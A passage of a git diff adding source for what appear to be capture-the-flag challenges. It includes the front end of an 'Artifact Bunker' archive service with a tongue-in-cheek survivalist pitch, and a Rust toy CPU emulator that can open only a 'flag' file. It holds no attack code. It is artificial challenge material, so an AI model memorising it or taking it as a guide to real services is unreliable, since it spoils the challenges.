ticket_input.value = window.ticket; +} +function get_valid_ticket() { + let ticket = ticket_input.value; + if (!ticket.match(/^ticket\{.*\}$/)) { + return null; + } + return ticket; +} +ticket_input.addEventListener('change', check_ticket); + +async function check_ticket(set=false) { + let old_ticket = window.ticket; + let ticket = get_valid_ticket(); + if (!ticket) { + ticket_error.innerText = 'Invalid ticket\ntry to paste again'; + } else { + ticket_error.innerText = ''; + } + if (!set || !ticket) { + return; + } + window.ticket = ticket; + + try { + await get_ws_connection(); + } catch (e) { + try { + let res = await fetch('/ws/ticket', {headers:{ticket:window.ticket}}); + if (res.status == 429) { + ticket_error.innerText = 'Too many requests\ntry again later'; + return; + } + if (res.status != 400 && res.status != 500) { + window.ticket = old_ticket; + ticket_error.innerText = 'Ticket rejected\ntry to paste again'; + return; + } + } catch (e) {} + console.error(e); + window.ticket = old_ticket; + ticket_error.innerText = 'error checking ticket...'; + return; + } + + localStorage.setItem('ticket', window.ticket); + done_ticket(); + loadDir('.'); +} + +function get_ws() { + return ws; +} + + +async function get_ws_connection() { + if (ws == null) { + ws = new WebSocket(`ws://${location.host}/ws/`,[encodeURIComponent(window.ticket)]); + + let ws_p = new Promise((resolve, reject) => { + ws.onopen = function() { + resolve(ws); + }; + ws.onerror = function(e) { + reject(e); + } + }).catch((e) => { + ws = null; + ticket_error.innerText = 'connection error\nsubmit to reconnect'; + get_ticket(); + throw e; + }); + ws.onmessage = function(e) { + if (e.data.startsWith('log ')) { + return; + } + if (ws_promise == null) { + return; + } + if (e.data.startsWith('error ')) { + console.error(e.data); + ws_callback[1](e.data); + ws_promise = null; + return; + } + ws_callback[0](e.data); + ws_promise = null; + }; + ws.onclose = function() { + ws = null; + ws_callback = null + ws_promise = null; + }; + return await ws_p; + } + return ws; +} + +async function send_request(request) { + let ws = await get_ws_connection(); + let p = new Promise((resolve, reject) => { + ws_callback = [resolve, reject]; + }); + ws_promise = p; + ws.send(request); + return p; +} + +async function upload(name, data) { + let res = await send_request(`upload ${encodeURIComponent(name)} ${data}`); + setTimeout(()=>{ + loadDir("."); + }, 500); + return 'Success'; +} + + +async function listdir(path) { + let res = await window.send_request(`list ${encodeURIComponent(path)}`); + res = res.trim().split(" "); + let found = {}; + let files = []; + for (let f of res.slice(1)) { + f = decodeURIComponent(f); + if (f.includes('.tar') || f.includes('.zip')) { + continue; + } + if (found[f]) { + continue; + } + let type = 'file'; + if (f.endsWith('/')) { + type = 'directory'; + } + found[f] = true; + files.push({ + name: f, + path: f, + type: type + }); + } + return files; +} + +async function gettext(path) { + let res = await window.send_request(`download ${encodeURIComponent(path)}`); + res = res.trim().split(" "); + if (res.length < 3) { + return 'Error loading file'; + } + if (res[0] != "file") { + return 'Error loading file'; + } + return atob(res[2]); +} + +let page_stack = []; +function next_page() { + let ctx = page_stack.pop(); + page_stack.push(ctx); + ctx.index++; + if (!ctx.cb(ctx.data, ctx.index)) { + ctx.index--; + ctx.cb(ctx.data, ctx.index) + } +} +function prev_page() { + let ctx = page_stack.pop(); + page_stack.push(ctx); + if (ctx.index == 0) + return; + ctx.index--; + if (!ctx.cb(ctx.data, ctx.index)) { + ctx.index++; + ctx.cb(ctx.data, ctx.index) + } +} +function new_page_ctx(data, cb) { + page_stack.push({ data, cb, index: 0 }); + cb(data, 0); +} +function pop_page_ctx() { + if (page_stack.length <= 1) { + return; + } + page_stack.pop(); + let ctx = page_stack.pop(); + if (ctx) { + page_stack.push(ctx); + ctx.cb(ctx.data, ctx.index); + } +} +document.getElementById('up').addEventListener('click', () => { + prev_page(); +}); +document.getElementById('down').addEventListener('click', () => { + next_page(); +}); + +let last_path = null; + +function updateBreadcrumbs(path) { + breadcrumb.innerHTML = ''; + if (path == null) { + return; + } + + breadcrumb.append('(- '); + + let o = ''; + path = path.trim(); + if (path[path.length - 1] == '/') { + path = path.slice(0, -1); + } + let path_parts = path.split('/'); + for (let p of path_parts) { + if (p == '') { + continue; + } + o += p + '/'; + + if (path_parts[path_parts.length - 1] != p) { + if (p == '.') { + p = 'packages'; + } + p = p.slice(0, 1); + } else if (p == '.') { + p = 'packages'; + last_path = o.slice(); + } + + let dir_name = o.slice(); + + let a = document.createElement('a'); + a.innerText = p; + p = p.slice(0,18); + a.href='#'; + a.onclick = ()=>{ + loadDir(dir_name); + return false; + }; + breadcrumb.appendChild(a); + breadcrumb.append('/'); + } +} + +document.getElementById('updir').addEventListener('click', () => { + pop_page_ctx(); +}); + +async function loadDir(path) { + const fileList = document.querySelector('#file-list'); + const breadcrumb = document.querySelector('#breadcrumb'); + let files = await listdir(path); + + + if (files.length == 0) { + document.querySelector('#file-content').style.display = 'none'; + document.querySelector('#file-list').style.display = 'block'; + + fileList.innerHTML = ''; + fileList.append('\n\n Your bunker is empty.\n\n Drag and drop an archive'); + return true; + } + + const page_len = 6; + new_page_ctx(files, (files, current_page) => { + const pages = Math.ceil(files.length / page_len); + files = files.slice(current_page * page_len, (current_page + 1) * page_len); + if (files.length == 0) { + return false; + } + + document.querySelector('#file-content').style.display = 'none'; + document.querySelector('#file-list').style.display = 'block'; + updateBreadcrumbs(path); + + fileList.innerHTML = ''; + + let s = document.createElement('span'); + s.style.width = '100%'; + s.style.textAlign = 'right'; + s.style.display = 'inline-block'; + s.innerText = `Page ${current_page+1}/${pages}`; + fileList.appendChild(s); + + for (let i=0; i< 6; i++) { + let b = document.getElementById(`b${i+1}`); + b.onclick = ()=>{}; + } + + files.forEach((file,ind) => { + const li = document.createElement('li'); + li.className = file.type; + + li.style.width = '100%'; + + if (ind % 2 == 0) { + li.append('(-'); + li.style.textAlign = 'left'; + } + + const a = document.createElement('a'); + a.textContent = file.name.slice(0, 26); + a.href = '#'; + + function load_path() { + if (file.type === 'directory') { + loadDir(`${path}/${file.path}`); + } else { + loadFile(`${path}/${file.path}`); + } + return false; + } + + a.onclick = load_path; + let b = document.getElementById(`b${ind+1}`); + b.onclick = load_path; + li.appendChild(a); + if (ind % 2 == 1) { + li.append('-)'); + li.style.textAlign = 'right'; + } + li.append('\n'); + fileList.appendChild(li); + }); + return true; + }); +} + +async function loadFile(path) { + const fileContent = document.querySelector('#file-content'); + + const text = await window.gettext(path); + + let lines = text.split('\n'); + const line_len = 29; + let all_lines = []; + for (let l of lines) { + for (let i=0; i { + for (let i=0; i< 6; i++) { + let b = document.getElementById(`b${i}`); + if (!b) continue; + b.onclick = ()=>{}; + } + + document.querySelector('#file-content').style.display = 'block'; + document.querySelector('#file-list').style.display = 'none'; + updateBreadcrumbs(path); + + const pages = Math.ceil(lines.length / page_len); + lines = lines.slice(current_page * page_len, (current_page + 1) * page_len); + if (lines.length == 0) { + return false; + } + fileContent.innerHTML = ''; + + let s = document.createElement('span'); + s.style.width = '100%'; + s.style.textAlign = 'right'; + s.style.display = 'block'; + s.innerText = `Page ${current_page+1}/${pages}\n`; + fileContent.appendChild(s); + + fileContent.append(lines.join('\n')); + return true; + }); +} +function get_ticket() { + document.querySelector('#file-content').style.display = 'none'; + document.querySelector('#file-list').style.display = 'none'; + document.querySelector('#ticket-cfg').style.display = 'block'; + updateBreadcrumbs(null); + document.querySelector('#bottom-row .left').innerText = '(- Submit-Ticket'; + document.querySelector('#bottom-row .right').innerText = ''; + + document.querySelector('#package').onclick = ()=>check_ticket(true); +} +function done_ticket(invalid=false) { + document.querySelector('#package').onclick = package_artifacts; + document.querySelector('#ticket-cfg').style.display = 'none'; + document.querySelector('#clean').onclick = clean_all; + document.querySelector('#bottom-row .left').innerText = '(- Prep-Artifacts ~'; + document.querySelector('#bottom-row .right').innerText = 'Shred-All-)'; +} +if (ticket !== null) { + ticket_input.value = ticket; +} +let is_on = false; +async function turn_on() { + is_on = true; + document.querySelector('.screen-background').style.opacity = '1'; + setTimeout(()=>{ + document.querySelector('.inner-window').style.opacity = '1'; + }, 300); + if (ticket && ticket.trim().length != 0 && check_ticket()) { + done_ticket(); + loadDir('.'); + } else { + get_ticket(); + } +} +async function turn_off() { + is_on = false; + document.querySelector('.screen-background').style.opacity = '1'; + document.querySelector('.inner-window').style.opacity = '0'; + setTimeout(()=>{ + document.querySelector('.screen-background').style.opacity = '0'; + }, 300); +} +turn_off(); +let glow_interval = null; +document.getElementById('power').onclick = ()=>{ + clearInterval(glow_interval); + document.getElementById('power').style = 'none'; + if (!is_on) { + turn_on(); + } else { + turn_off(); + } +} +setTimeout(()=>{ + document.querySelector('.screen-background').classList.add('screen-fade'); + document.querySelector('.inner-window').classList.add('screen-fade'); +}, 500); + +glow_interval = setTimeout(()=>{ + let p = document.getElementById('power'); + p.style.transition = 'box-shadow 1s'; + p.style.boxShadow = '0px 0px 10px 5px #00ff00'; + let on = true; + glow_interval = setInterval(()=>{ + on = !on; + if (on) { + p.style.boxShadow = '0px 0px 10px 5px #00ff00'; + } else { + p.style.boxShadow = 'none'; + } + }, 1200); + +},30000); + +document.getElementById('cfg').onclick = async ()=>{ + if (!is_on) + return; + get_ticket(); +} + +let p_c = 0; +async function package_artifacts() { + if (!is_on) + return; + if (p_c + 10000 > +Date.now()) { + return; + } + p_c = +Date.now(); + await window.send_request(`job package app`); + setTimeout(()=>{ + loadDir('.'); + }, 500); +} + +async function clean_all() { + if (!is_on) + return; + let res = window.confirm("Are you sure you want to delete all archives?"); + if (!res) { + return; + } + await window.send_request(`clean-all`); + setTimeout(()=>{ + loadDir('.'); + }, 500); +} +// Get the body element +var body = document.body; + +// Create a function to handle the drop event +function handleDrop(e) { + // Prevent the default behavior of opening the file + e.preventDefault(); + + // Get the first file from the data transfer object + var file = e.dataTransfer.files[0]; + + // Create a file reader object + var reader = new FileReader(); + + // Create a function to handle the load event + reader.onload = function(e) { + // Get the base64 encoded data URL from the result + var dataURL = e.target.result; + let name = file.name; + + // Do something with the data URL, such as displaying it in an image element + var parts = dataURL.split(","); + var base64 = parts[1]; + window.upload(file.name, base64); + }; + + // Read the file as a data URL + reader.readAsDataURL(file); +} + +// Add an event listener for the dragover event to prevent the default behavior +body.addEventListener("dragover", function(e) { + e.preventDefault(); +}); + +// Add an event listener for the drop event to handle the file drop +body.addEventListener("drop", handleDrop); diff --git a/artifact-bunker/src/static/brushed_concrete.jpg b/artifact-bunker/src/static/brushed_concrete.jpg new file mode 100755 index 0000000..c3cd24a Binary files /dev/null and b/artifact-bunker/src/static/brushed_concrete.jpg differ diff --git a/artifact-bunker/src/static/camo.jpg b/artifact-bunker/src/static/camo.jpg new file mode 100755 index 0000000..94b0138 Binary files /dev/null and b/artifact-bunker/src/static/camo.jpg differ diff --git a/artifact-bunker/src/static/concrete_1.jpg b/artifact-bunker/src/static/concrete_1.jpg new file mode 100755 index 0000000..910bea7 Binary files /dev/null and b/artifact-bunker/src/static/concrete_1.jpg differ diff --git a/artifact-bunker/src/static/display.png b/artifact-bunker/src/static/display.png new file mode 100755 index 0000000..fd62598 Binary files /dev/null and b/artifact-bunker/src/static/display.png differ diff --git a/artifact-bunker/src/static/index.html b/artifact-bunker/src/static/index.html new file mode 100644 index 0000000..724b47f --- /dev/null +++ b/artifact-bunker/src/static/index.html @@ -0,0 +1,76 @@ + + + + + + Artifact Bunker + + + + +
+ +
+
+
+
+

+
    -
    +
    (-Prep-Artif.Shred-All-)
    +
    + + + + + + + + + + + + + + + + + + +
    +
    +
    +
    +
    +
    +
    +
    +

    + Have you been putting too much trust in them fancy corporations and their "cloud servers?" I reckon' they're just trying to lull us all into a false sense of security before they flip the switch and send us back to the Stone Age. But worry not, my friends, for Artifact Bunker is here to safeguard our sacred CI pipeline artifacts from the inevitable apocalypse that's sure to wipe out all the cloud. Thats right, a God-sent solution to archive all your precious CI pipeline artifacts inside an underground survival bunker, safe from the end of days! Let me tell ya, when all hell breaks loose and those pricey aws servers go up in smoke, you'll be sittin' pretty with your CI artifacts intact! +

    + +
    + +

    + Now, at Artifact Bunker, we are no amateurs. We've carefully designed our survival bunker to withstand any darn catastrophe that this world can throw at us! The day is comin' when your way of life will be threatened, and I'm not just talkin' about the ever-looming threat of government crackdowns on our freedom. I'm talkin' about hackers, EMPs, solar flares, nuclear fallout, and the increasingly likely chance of an alien invasion. But fear not, for when the world goes belly-up, your CI artifacts will be preserved, snug as a bug in a rug. Just imagine it – your files tucked away nice and cozy, while the world turns to chaos above. Your code will be preserved, come hell or high water, so when the dust settles, you can rebuild society with the fruits of your labor. Yessir, Artifact Bunker is the ark that'll carry your digital legacy through the storm. We won't just be survivin', folks, we'll be thrivin'! +

    + +
    + +

    + Now, let me give y'all the nitty-gritty on our bunker design. We got ourselves a state-of-the-art, military-grade, hardened steel bunker, buried deep underground at an undisclosed location away from the prying eyes of the world. And not just any ol' bunker, this one's equipped with a high-security systems that keeps your artifacts safe from them hackers and such! On top of all that, our top-notch, armed-to-the-teeth guards will ensure that no one, and I mean no one, gets their hands on your files. We're talkin' 24/7 surveillance, motion detectors, and a whole lotta good ol' fashioned American firepower! +

    +
    +
    + + + + + diff --git a/artifact-bunker/src/static/jagged.ttf b/artifact-bunker/src/static/jagged.ttf new file mode 100755 index 0000000..8845442 Binary files /dev/null and b/artifact-bunker/src/static/jagged.ttf differ diff --git a/artifact-bunker/src/static/needlework.ttf b/artifact-bunker/src/static/needlework.ttf new file mode 100755 index 0000000..b7b482b Binary files /dev/null and b/artifact-bunker/src/static/needlework.ttf differ diff --git a/artifact-bunker/src/static/plaster.jpg b/artifact-bunker/src/static/plaster.jpg new file mode 100755 index 0000000..20eb725 Binary files /dev/null and b/artifact-bunker/src/static/plaster.jpg differ diff --git a/artifact-bunker/src/static/screw.png b/artifact-bunker/src/static/screw.png new file mode 100755 index 0000000..87f0205 Binary files /dev/null and b/artifact-bunker/src/static/screw.png differ diff --git a/artifact-bunker/src/static/steel.jpg b/artifact-bunker/src/static/steel.jpg new file mode 100755 index 0000000..dc7df35 Binary files /dev/null and b/artifact-bunker/src/static/steel.jpg differ diff --git a/artifact-bunker/src/static/steel2.jpg b/artifact-bunker/src/static/steel2.jpg new file mode 100755 index 0000000..b99e771 Binary files /dev/null and b/artifact-bunker/src/static/steel2.jpg differ diff --git a/artifact-bunker/src/static/style.css b/artifact-bunker/src/static/style.css new file mode 100644 index 0000000..af85eaa --- /dev/null +++ b/artifact-bunker/src/static/style.css @@ -0,0 +1,392 @@ +@import url('https://fonts.googleapis.com/css2?family=Averia+Gruesa+Libre&family=Rubik+Dirt&display=swap'); +body { + font-family: 'Roboto', sans-serif; + margin: 0; + padding: 0; + /*background-image: url(static/plaster.jpg);*/ + background-image: url(/static/concrete_1.jpg); +} +.plate { + background-image: url(/static/steel.jpg); + margin-top: 10em; + font-size: 1.5em; + padding: 2.2em; + box-shadow: 0 16px 20px 7px #0000009e; + position: relative; + border-radius: 8px; + font-family: 'Averia Gruesa Libre', sans-serif; + margin-bottom: 5em; +} +#ticket-error { + color: #fc5555; +} +html { + overflow-x: hidden; +} +.content { + max-width: 712px; + margin: auto; + margin-top: 2em; +} +.content.wide { + max-width: 1024px; + margin: auto; + margin-top: 2em; +} +input { + width: 100%; + padding: 1em; + font-size: 12pt; +} +#file-list { + margin-top: -4px; +} + +.screw { + background-image: url(/static/screw.png); + background-repeat: no-repeat; + background-size: contain; + width: 1.5em; + height: 1.5em; + z-index: 2; + position: absolute; + box-shadow: 1px 5px 13px 1px #000000b0; + border-radius: 19px; +} + +.display { + background-image: url(/static/display.png); + background-repeat: no-repeat; + background-size: contain; + max-width: 712px; + max-height: 551px; + width: 100vw; + height: 77vw; + position: relative; +} + +.inner-shadow { + overflow: hidden; + position: absolute; + left: 15.5%; + top: 15%; + width: 70.5%; + height: 64%; + box-shadow: 0 28px 33px 93px black; + -webkit-transform: perspective(875px) rotateX(7deg); + z-index: -1; + background-color: black; +} + +.screen-background { + overflow: hidden; + position: absolute; + left: calc( 16% + .5em ); + top: calc( 15.5% + .5em ); + width: calc( 69% - 1em ); + height: 61%; + background-color: #3b3ace; + border-radius: 8px; + box-shadow: #00c4ff 1px 1px 20px 0px; + -webkit-transform: perspective(875px) rotateX(7deg); + opacity: 0; +} +.screen-fade { + transition: opacity .5s; +} + +@font-face { + font-family: 'segment'; + src: url(/static/DSEG14Modern-Regular.ttf); +} + +.artifact-list { + margin: 0; + height: 78%; + line-height: 161%; + word-spacing: 12px; +} + +.inner-window { + overflow: hidden; + position: absolute; + left: 18.5%; + top: 20%; + width: 64%; + margin: 0; + height: 57%; + background-color: #3b3ace; + font-family: 'segment', monospace; + color: #dedede; + /*line-height: 1.5em;*/ + font-size: min( 2.6vw, 14pt ); + -webkit-transform: perspective(875px) rotateX(7deg); + font-weight: 600; +} +.inner-window a, .inner-window pre { + font-family: 'segment', monospace; + color: #dedede; + /*line-height: 1.5em;*/ + font-size: min( 2.6vw, 14pt ); +} +#ticket { + background-color: #4646e3; + color: #dedede; + font-family: 'segment', monospace; + resize: none; + font-weight: 600; + width: calc( 97% - .4em ); + padding-top: 0.4em; + padding-left: 0.4em; + font-size: min( 2.6vw, 14pt ); + height: 5em; + margin-top: 1em; +} +#ticket::placeholder { + color: #dedede; +} + +.left { + width: 50%; + display: inline-block; + text-align: left; +} +.right { + width: 50%; + display: inline-block; + text-align: right; +} + +#package { + position: absolute; + width: 5.8%; + background-color: transparent; + height: 6%; + top: 65.8%; + left: 3.3%; + opacity: .5; + cursor: pointer; +} +#clean { + position: absolute; + width: 5.6%; + background-color: transparent; + /* background: red; */ + height: 6%; + top: 65.3%; + left: 91.3%; + opacity: .5; + cursor: pointer; +} +#up { + position: absolute; + width: 5.8%; + background-color: transparent; + /* background: blue; */ + height: 6%; + top: 85.3%; + left: 66.3%; + opacity: .5; + cursor: pointer; +} +#down { + position: absolute; + width: 5.6%; + background-color: transparent; + height: 6%; + top: 85.3%; + left: 73.5%; + opacity: .5; + cursor: pointer; +} +#b5 { + position: absolute; + width: 5.8%; + background-color: transparent; + height: 6%; + top: 54.4%; + left: 3.9%; + opacity: .5; + cursor: pointer; +} +#b2 { + position: absolute; + width: 5.6%; + background-color: transparent; + /* background: red; */ + height: 6%; + top: 31%; + left: 90.5%; + opacity: .5; + cursor: pointer; +} +#b3 { + position: absolute; + width: 5.8%; + background-color: transparent; + height: 6%; + top: 43%; + left: 4.3%; + opacity: .5; + cursor: pointer; +} +#b4 { + position: absolute; + width: 5.6%; + background-color: transparent; + height: 6%; + top: 42.3%; + left: 90.8%; + opacity: .5; + cursor: pointer; +} +#b1 { + position: absolute; + width: 5.6%; + background-color: transparent; + height: 6%; + top: 31.8%; + left: 4.7%; + opacity: .5; + cursor: pointer; +} +#b6 { + position: absolute; + width: 5.6%; + background-color: transparent; + /* background: red; */ + height: 6%; + top: 53.6%; + left: 91.0%; + opacity: .5; + cursor: pointer; +} +#back { + position: absolute; + width: 5.6%; + background-color: transparent; + /* background: red; */ + height: 6%; + top: 20.0%; + left: 90.3%; + opacity: .5; + cursor: pointer; +} +#updir { + position: absolute; + width: 5.6%; + background-color: transparent; + height: 6%; + top: 20.8%; + left: 5.1%; + opacity: .5; + cursor: pointer; +} +#cfg { + position: absolute; + width: 5.6%; + background-color: transparent; + /* background: red; */ + height: 6%; + top: 85.7%; + left: 27.9%; + opacity: .5; + cursor: pointer; +} +#power { + position: absolute; + width: 5.6%; + background-color: transparent; + /* background: red; */ + height: 6%; + top: 85.8%; + left: 20.8%; + opacity: .5; + cursor: pointer; +} + + +button { + border-radius: 5px; + +} +#page-header { + /*font-family: needle;*/ + font-family: 'Rubik Dirt', sans-serif; + background-color: #3A7A00; + background-image: url(/static/camo.jpg); + /*text-shadow: 0px 0px 5px black;*/ + text-shadow: 0px 0px 5px black, 0px 0px 15px black, 0px 0px 12px black, 0px 0px 10px black; + box-shadow: black 0px 7px 20px 0px; + color: #ffcda4; + padding: 20px; + text-align: center; + margin-bottom: 6.5em; +} +#page-header h1 { + margin: 0; + font-size: 4em; + font-weight: 400; +} +#page-header p { + margin: 0; + font-size: 14px; + font-size: 1.7em; +} +.browser-window { + border-radius: 8px; + box-shadow: 0 1px 3px rgba(0,0,0,.12), 0 1px 2px rgba(0,0,0,.24); + margin: 20px auto; + width: 600px; + height: 400px; +} +#title-bar { + background-color: #f5f5f5; + border-bottom: 1px solid #e0e0e0; + border-top-left-radius: 8px; + border-top-right-radius: 8px; + display: flex; + justify-content: space-between; + align-items: center; + padding: 5px 10px; +} +#title-bar h2 { + margin: 0; +} +#size-buttons { + display: flex; +} +.size-button { + background-color: transparent; + border: none; + border-radius: 50%; + cursor:pointer +} +.size-button:hover{ + opacity:.7 +} +.size-button:focus{ + outline:none +} +.close-button { + height:12px;width:12px;background-color:#FF605C;margin-right:.5rem +} + +.minimize-button{ + height:12px;width:12px;background-color:#FFBD44;margin-right:.5rem +} + + .zoom-button{ + height:12px;width:12px;background-color:#00CA4E + } + + #browser-content{ + overflow:auto;height:calc(100% - 30px);padding:.5rem; + background-color: white; + } + + ul { + list-style:none;padding-left:.5rem;margin-top:.5rem + } + + diff --git a/artifact-bunker/src/static/wood1.jpg b/artifact-bunker/src/static/wood1.jpg new file mode 100755 index 0000000..bf9538b Binary files /dev/null and b/artifact-bunker/src/static/wood1.jpg differ diff --git a/blackbox/Cargo.toml b/blackbox/Cargo.toml new file mode 100644 index 0000000..cc32f97 --- /dev/null +++ b/blackbox/Cargo.toml @@ -0,0 +1,10 @@ +[package] +name = "blackbox" +version = "0.1.0" +edition = "2021" + +# See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html + +[dependencies] +nom = "7.1.2" +byteorder = "1.4.3" \ No newline at end of file diff --git a/blackbox/src/main.rs b/blackbox/src/main.rs new file mode 100644 index 0000000..041c8d7 --- /dev/null +++ b/blackbox/src/main.rs @@ -0,0 +1,453 @@ +use std::{alloc::System, char, ops::Add}; + +use nom::{ + bits::{self, complete}, + IResult, +}; + +use byteorder::{BigEndian, LittleEndian, ReadBytesExt}; +use std::io::{self, BufReader}; + +//define constant MEM_SIZE +const MEM_SIZE: usize = 0x1000; + +use std::fs::File; +use std::io::Read; + +const REG_A: u8 = 0u8; +const REG_B: u8 = 1u8; +const REG_C: u8 = 2; +const REG_D: u8 = 3; +const REG_PC: u8 = 8; +const REG_SP: u8 = 9; + +enum SYSCALL_TABLE { + EXIT = 0, + PRINT = 1, + PRINT_CHAR = 2, + GET_CHAR = 3, + OPEN_FILE = 4, + READ_FILE = 5, +} + +#[derive(Debug)] +struct cpu { + reg: [u16; 16], + running: bool, + mem: [CPUInstructions; 0x1000], + stack: [u16; 0x1000], + files: Vec>, +} +#[derive(Debug, Copy, Clone, PartialEq)] +pub struct Register(pub u8); +#[derive(Debug, Copy, Clone, PartialEq)] +enum Operand { + Register(Register), + Immediate(u8), +} + +impl TryFrom for SYSCALL_TABLE { + type Error = (); + fn try_from(value: u16) -> Result { + match value { + 0 => Ok(SYSCALL_TABLE::EXIT), + 1 => Ok(SYSCALL_TABLE::PRINT), + 2 => Ok(SYSCALL_TABLE::PRINT_CHAR), + 3 => Ok(SYSCALL_TABLE::GET_CHAR), + 4 => Ok(SYSCALL_TABLE::OPEN_FILE), + 5 => Ok(SYSCALL_TABLE::READ_FILE), + _ => Err(()), + } + } +} + +//instruction enum +#[derive(Debug, Copy, Clone, PartialEq)] +enum CPUInstructions { + InstAdd(Register, Operand), + InstSub(Register, Operand), + InstLd(Register, Operand), + InstSt(Register, Operand), + InstSys, + InstHlt, + InstAnd(Register, Operand), + InstOr(Register, Operand), + InstXor(Register, Operand), + InstNot(Register), + InstShl(Register, Operand), + InstShr(Register, Operand), + InstJmp(Operand), + InstCall(Operand), + InstRet, + InstPush(Operand), + InstPop(Register), + InstCmp, + InstData(u8), +} + +impl cpu { + fn new() -> cpu { + cpu { + reg: [0; 16], + running: true, + mem: [CPUInstructions::InstHlt; 0x1000], + stack: [0; 0x1000], + files: Vec::new(), + } + } + + fn store_file(&mut self, file: File) -> u16 { + if let Some(index) = self.files.iter().position(|f| f.is_none()) { + self.files[index] = Some(file); + index as u16 + } else { + self.files.push(Some(file)); + (self.files.len() - 1) as u16 + } + } + + fn set_register(&mut self, reg: u8, val: u16) { + self.reg[reg as usize] = val; + } + + fn fetch(&self) -> CPUInstructions { + self.mem[self.reg[REG_PC as usize] as usize] + } + + fn execute(&mut self) { + match self.fetch() { + CPUInstructions::InstAdd(r, o) => match o { + Operand::Register(r2) => { + self.set_register( + r.0.try_into().unwrap(), + self.reg[r.0 as usize].wrapping_add(self.reg[r2.0 as usize]), + ); + } + Operand::Immediate(i) => { + self.set_register( + r.0.try_into().unwrap(), + (self.reg[r.0 as usize].wrapping_add(i as u16)).into(), + ); + } + }, + CPUInstructions::InstSub(r, o) => match o { + Operand::Register(r2) => { + self.set_register( + r.0.try_into().unwrap(), + self.reg[r.0 as usize].wrapping_sub(self.reg[r2.0 as usize]), + ); + } + Operand::Immediate(i) => { + self.set_register( + r.0.try_into().unwrap(), + self.reg[r.0 as usize].wrapping_sub(i as u16), + ); + } + }, + CPUInstructions::InstSys => { + let sysnum = self.reg[REG_A as usize]; + match sysnum.try_into() { + Ok(SYSCALL_TABLE::EXIT) => { + self.running = false; + } + Ok(SYSCALL_TABLE::PRINT) => { + print!("{}", self.reg[REG_B as usize]); + } + Ok(SYSCALL_TABLE::PRINT_CHAR) => { + let output = self.reg[REG_B as usize].to_be_bytes()[1]; + print!("{}", output as char); + } + Ok(SYSCALL_TABLE::GET_CHAR) => { + let mut input = String::new(); + std::io::stdin() + .read_line(&mut input) + .expect("Failed to read line"); + self.set_register(REG_B, input.chars().next().unwrap() as u16); + } + Ok(SYSCALL_TABLE::OPEN_FILE) => { + let filename_addr = self.reg[REG_B as usize]; + let filename = read_null_terminated_string(self, filename_addr); + + if filename == "flag" { + let file = std::fs::File::open(&filename).expect("Unable to open file"); + let file_descriptor = self.store_file(file); // Implement a function to store the file and return a file descriptor. + self.set_register(REG_C, file_descriptor); + } else { + println!("Error: Unable to open file '{}'", filename); + self.set_register(REG_C, u16::MAX); // Set an error code (e.g., u16::MAX) in REG_C to indicate failure. + } + } + Err(_) => { + println!("Invalid syscall number {}", sysnum); + } + Ok(SYSCALL_TABLE::READ_FILE) => { + let fd = self.reg[REG_B as usize] as usize; + let buf_addr = self.reg[REG_C as usize]; + let size = self.reg[REG_D as usize] as usize; + + if let Some(file) = self.files.get_mut(fd).and_then(|f| f.as_mut()) { + let mut buffer = vec![0; size]; + let read_size = file.read(&mut buffer).unwrap_or(0); + + for (i, byte) in buffer.into_iter().enumerate() { + if i < read_size { + self.stack[(buf_addr as usize + i) % MEM_SIZE] = byte as u16; + } else { + break; + } + } + + self.set_register(REG_B, read_size as u16); + } else { + println!("Invalid file descriptor {}", fd); + } + } + } + } + CPUInstructions::InstAnd(r, o) => match o { + Operand::Register(r2) => { + self.set_register( + r.0.try_into().unwrap(), + self.reg[r.0 as usize] & self.reg[r2.0 as usize], + ); + } + Operand::Immediate(i) => { + self.set_register(r.0.try_into().unwrap(), self.reg[r.0 as usize] & (i as u16)); + } + }, + CPUInstructions::InstOr(r, o) => match o { + Operand::Register(r2) => { + self.set_register( + r.0.try_into().unwrap(), + self.reg[r.0 as usize] | self.reg[r2.0 as usize], + ); + } + Operand::Immediate(i) => { + self.set_register(r.0.try_into().unwrap(), self.reg[r.0 as usize] | (i as u16)); + } + }, + CPUInstructions::InstXor(r, o) => match o { + Operand::Register(r2) => { + self.set_register( + r.0.try_into().unwrap(), + self.reg[r.0 as usize] ^ self.reg[r2.0 as usize], + ); + } + Operand::Immediate(i) => { + self.set_register(r.0.try_into().unwrap(), self.reg[r.0 as usize] ^ (i as u16)); + } + }, + CPUInstructions::InstNot(r) => { + self.set_register(r.0, !self.reg[r.0 as usize]); + } + CPUInstructions::InstShl(r, o) => match o { + Operand::Register(r2) => { + self.set_register( + r.0.try_into().unwrap(), + self.reg[r.0 as usize] << self.reg[r2.0 as usize], + ); + } + Operand::Immediate(i) => { + self.set_register( + r.0.try_into().unwrap(), + self.reg[r.0 as usize] << (i as u16), + ); + } + }, + CPUInstructions::InstShr(r, o) => { + let shift_amount = match o { + Operand::Register(r2) => self.reg[r2.0 as usize] & 0xF, + Operand::Immediate(i) => (i & 0xF) as u16, + }; + self.set_register(r.0, self.reg[r.0 as usize] >> shift_amount); + } + CPUInstructions::InstJmp(o) => { + self.reg[REG_PC as usize] += 1; + match o { + Operand::Register(r) => { + self.set_register(REG_PC, self.reg[r.0 as usize]); + } + Operand::Immediate(i) => { + self.set_register(REG_PC, i as u16); + } + } + return; + } + CPUInstructions::InstCall(o) => { + self.reg[REG_PC as usize] += 1; + match o { + Operand::Register(r) => { + self.stack[self.reg[REG_SP as usize] as usize] = + self.reg[REG_PC as usize] + 1; + self.reg[REG_SP as usize] += 1; + self.reg[REG_PC as usize] = self.reg[r.0 as usize]; + } + Operand::Immediate(i) => { + self.stack[self.reg[REG_SP as usize] as usize] = + self.reg[REG_PC as usize] + 1; + self.reg[REG_SP as usize] += 1; + self.reg[REG_PC as usize] = self.reg[REG_PC as usize] + i as u16; + } + } + self.reg[REG_PC as usize] += 1; + return; + } + CPUInstructions::InstRet => { + self.set_register(REG_PC, self.stack[self.reg[REG_SP as usize] as usize - 1]); + self.set_register(REG_SP, self.reg[REG_SP as usize] - 1); + return; + } + CPUInstructions::InstPush(o) => match o { + Operand::Register(r) => { + self.stack[self.reg[REG_SP as usize] as usize] = self.reg[r.0 as usize]; + self.set_register(REG_SP, self.reg[REG_SP as usize] + 1); + } + Operand::Immediate(i) => { + self.stack[self.reg[REG_SP as usize] as usize] = i as u16; + self.set_register(REG_SP, self.reg[REG_SP as usize] + 1); + } + }, + CPUInstructions::InstPop(r) => { + self.set_register(r.0, self.stack[self.reg[REG_SP as usize - 1] as usize]); + self.set_register(REG_SP, self.reg[REG_SP as usize] - 1); + } + 